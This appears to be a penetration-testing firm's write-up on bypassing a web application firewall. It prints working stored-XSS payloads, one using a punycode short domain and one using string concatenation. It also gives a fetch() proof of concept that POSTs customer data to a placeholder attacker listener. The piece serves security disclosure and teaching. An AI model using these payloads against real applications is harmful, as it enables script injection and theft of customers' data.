A WAF Bypass

“Hey, I don’t believe any system is totally secure” - David Lightman, Wargames

Introduction

If Wargames were remade in 2022, the WOPR would operate behind a Web Application Firewall (WAF). During penetration testing, security teams must identify WAF bypasses quickly rather than spending weeks researching vulnerabilities. This article documents two methods OSec discovered to bypass WAF protections during an application assessment.

Web Application Firewalls have existed since 1991 and focus on blocking Layer 7 attacks like XSS and SQL injection. WAFs are a useful compensating control for vulnerable applications, but a successful bypass exposes the underlying security issues they were papering over.

Method 1

The first payload exploited character limits in the WAF’s filtering rules. OSec used a short domain name (15 characters) with punycode encoding to bypass restrictions:

a);d=self\[\`document\`\];e=d.createElement(\`script\`);e\[\`src\`\]='//15.₨';d.write(e)//_

This stored XSS payload injected into an event handler:

onchange="isValidFromDate(this, frmmain.{USER-INPUT}toDate);filterDates('{USER-INPUT}')"

Implementation steps:

Host exploit code on an attacker-controlled domain
Use this proof-of-concept to exfiltrate customer data:

fetch('<https://<VULNERABLE URL>.com/Customer/Summary?CustomerId=2').then((response) => {
    return response.text();
}).then((resp) => {
    fetch("//{ATTACKER-LISTENER}", {
        method: "POST",
        body: resp,
        mode: 'no-cors'
    })
});

Replace {ATTACKER-LISTENER} with the attacker’s receiving server

Method 2

OSec identified string concatenation as a WAF evasion technique. The WAF failed to block function access when split across multiple strings:

test);self\[\`wi\`+'ndow'\]\[\`\\a\`+'lert'\](self\[\`doc\`+'ument'\]\[\`doma\`+'in'\]);//

Steps:

Navigate to the vulnerable form
Submit the payload in any form field
Upon page refresh, trigger the XSS by interacting with vulnerable elements

Remediation

Organizations should:

Configure WAFs to properly filter user-controlled input
Implement secure SDLC processes
Manage vulnerabilities effectively
Conduct regular penetration testing

Further reading: